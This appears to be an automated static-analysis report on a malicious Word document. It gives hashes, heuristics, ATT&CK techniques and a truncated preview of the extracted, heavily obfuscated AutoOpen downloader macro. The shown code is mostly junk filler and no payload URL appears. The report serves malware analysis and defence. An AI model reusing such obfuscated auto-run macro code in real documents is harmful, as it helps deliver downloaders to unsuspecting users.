Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c7132d49dfa48920…

MALICIOUS

Office (OLE)

77.5 KB Created: 2017-08-23 15:29:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: 620c943f834a463c9adb384867110c0e SHA-1: 71a5004670692c7f7f286258355cbccf248b792e SHA-256: c7132d49dfa4892008766ccd5224fcc8a2777bb268a3e69a7f1f86aabb6cb11e
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro with an AutoOpen function, indicating it is designed to execute automatically when the document is opened. Heuristics indicate the use of CreateObject, a common technique for launching malicious payloads. ClamAV detection as 'Doc.Macro.VBSDownloader-6336817-0' strongly suggests the macro's purpose is to download and execute a secondary stage. The VBA code itself is heavily obfuscated and appears to be a downloader stub.

Heuristics 7

  • ClamAV: Doc.Macro.VBSDownloader-6336817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.VBSDownloader-6336817-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10966 bytes
SHA-256: 86d8de6fee6be16e7e3a1e582304906d184749b82eed08e5b071dd31400f740a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function EEsGPrGzGA()
Dim DDgYyyGgwf()
BYFvAYLZLDs = 6174
ReDim DDgYyyGgwf(6174)
DDgYyyGgwf(3303) = GWHtzCVyW
 DDgYyyGgwf(1152) = kmMwVpBBT
 DDgYyyGgwf(6006) = BTvubsUSG
 DDgYyyGgwf(5383) = 2945
 DDgYyyGgwf(782) = 2554
 DDgYyyGgwf(2616) = 4584
 For BYFvAYLZLDs = 579 To 731
DDgYyyGgwf(BYFvAYLZLDs) = BYFvAYLZLDs
Next
End Function
 
Function yEUgfsym()
Dim vcAnWCGCBmg()
fuLuSrVUUa = 8472
ReDim vcAnWCGCBmg(8472)
vcAnWCGCBmg(3740) = nHywntcn
 vcAnWCGCBmg(4379) = SGweBgSy
 vcAnWCGCBmg(6777) = eHfFRwHy
 vcAnWCGCBmg(1412) = EZMaUvCk
 vcAnWCGCBmg(3043) = KAuNUcmNY
 vcAnWCGCBmg(185) = 7751
 vcAnWCGCBmg(5431) = 8624
 For fuLuSrVUUa = 7807 To 7482
vcAnWCGCBmg(fuLuSrVUUa) = fuLuSrVUUa
Next
End Function
 
Function CkDeaxfuxhb()
Dim hnuVfKywKm()
tuueNuzDKYE = 1921
ReDim hnuVfKywKm(1921)
hnuVfKywKm(188) = fHzDSwDhf
 hnuVfKywKm(1690) = bkdyVburM
 hnuVfKywKm(404) = 2034
 hnuVfKywKm(968) = 5676
 hnuVfKywKm(234) = 3584
 hnuVfKywKm(1854) = 3365
 hnuVfKywKm(1193) = 4399
 hnuVfKywKm(1039) = 4191
 For tuueNuzDKYE = 1263 To 450
hnuVfKywKm(tuueNuzDKYE) = tuueNuzDKYE
Next
End Function
 
Function BgLWARLL()
Dim GdBzEShWPCF()
uvgHwuAYn = 3708
ReDim GdBzEShWPCF(3708)
GdBzEShWPCF(2785) = KUYLvyfVZ
 GdBzEShWPCF(861) = MxXzaUxBw
 GdBzEShWPCF(3583) = HeaZPTWL
 GdBzEShWPCF(3305) = EUhRxVuDhz
 GdBzEShWPCF(1395) = LErRPFPZeCP
 GdBzEShWPCF(928) = MKzkvRLtu
 GdBzEShWPCF(3504) = 6445
 GdBzEShWPCF(1938) = 5142
 GdBzEShWPCF(2253) = 2246
 GdBzEShWPCF(1111) = 6950
 For uvgHwuAYn = 1726 To 1247
GdBzEShWPCF(uvgHwuAYn) = uvgHwuAYn
Next
End Function
 
Function yYdvPYXe()
Dim VeHAcCHvEd()
FZTbnZNKguC = 7067
ReDim VeHAcCHvEd(7067)
VeHAcCHvEd(6593) = CsekaPFCM
 VeHAcCHvEd(6177) = ZLPysZfKX
 VeHAcCHvEd(235) = 3322
 VeHAcCHvEd(727) = 7278
 VeHAcCHvEd(4782) = 199
 VeHAcCHvEd(2783) = 841
 VeHAcCHvEd(3404) = 7082
 For FZTbnZNKguC = 5496 To 78
VeHAcCHvEd(FZTbnZNKguC) = FZTbnZNKguC
Next
End Function
 
Function CBhuzABgN()
Dim CUZEfUFeSr()
baUpCttvh = 7139
ReDim CUZEfUFeSr(7139)
CUZEfUFeSr(3594) = bbNSWgbGETv
 CUZEfUFeSr(5014) = HtxsswHba
 CUZEfUFeSr(3216) = sEAHZpPCh
 CUZEfUFeSr(1481) = MVktruwdZvx
 CUZEfUFeSr(4760) = SVFUMgdcp
 CUZEfUFeSr(5330) = UtTxfcVsFUK
 CUZEfUFeSr(3033) = 3757
 CUZEfUFeSr(2312) = 2198
 CUZEfUFeSr(2085) = 3091
 CUZEfUFeSr(5636) = 2251
 CUZEfUFeSr(6159) = 8791
 CUZEfUFeSr(2124) = 4982
 For baUpCttvh = 2172 To 5921
CUZEfUFeSr(baUpCttvh) = baUpCttvh
Next
End Function
 
Function FGPPhKKx()
Dim eWnYwLkK()
DprwfwPA = 6904
ReDim eWnYwLkK(6904)
eWnYwLkK(5942) = WkGfWkTmbgU
 eWnYwLkK(800) = AnARdbSG
 eWnYwLkK(732) = 2484
 eWnYwLkK(5243) = 9155
 eWnYwLkK(3221) = 2378
 eWnYwLkK(1416) = 2223
 eWnYwLkK(4954) = 3753
 For DprwfwPA = 307 To 4425
eWnYwLkK(DprwfwPA) = DprwfwPA
Next
End Function
 
Function YvtywTsWrDG()
Dim dENDeMmW()
eMWdSXWPa = 8375
ReDim dENDeMmW(8375)
dENDeMmW(1395) = tDWSVtue
 dENDeMmW(2763) = KvTYPpfp
 dENDeMmW(2177) = aWwZRCkvc
 dENDeMmW(6809) = 8316
 dENDeMmW(3899) = 1515
 dENDeMmW(3180) = 7715
 dENDeMmW(795) = 2004
 dENDeMmW(149) = 3841
 dENDeMmW(8003) = 3925
 For eMWdSXWPa = 3546 To 1756
dENDeMmW(eMWdSXWPa) = eMWdSXWPa
Next
End Function
 
Function DcuxXcRY()
Dim LUXZkUhp()
LvktrFZdS = 9840
ReDim LUXZkUhp(9840)
LUXZkUhp(1935) = fdZsFHpyp
 LUXZkUhp(76) = ZSYmyXnd
 LUXZkUhp(166) = XcwtzWBuDfG
 LUXZkUhp(2494) = 4463
 LUXZkUhp(9092) = 3608
 LUXZkUhp(4041) = 6716
 LUXZkUhp(6841) = 8087
 For LvktrFZdS = 4421 To 1967
LUXZkUhp(LvktrFZdS) = LvktrFZdS
Next
End Function
 
Function pWeyaNTDFKK()
Dim sLvApCnesEf()
YDDsLVHT = 338
ReDim sLvApCnesEf(338)
sLvApCnesEf(99) = ASzpcXZB
 sLvApCnesEf(177) = ECpTkMPYTT
 sLvApCnesEf(122) = KuLhMhvn
 sLvApCnesEf(140) = TFSdEwnrg
 sLvApCnesEf(229) = ARC
... (truncated)

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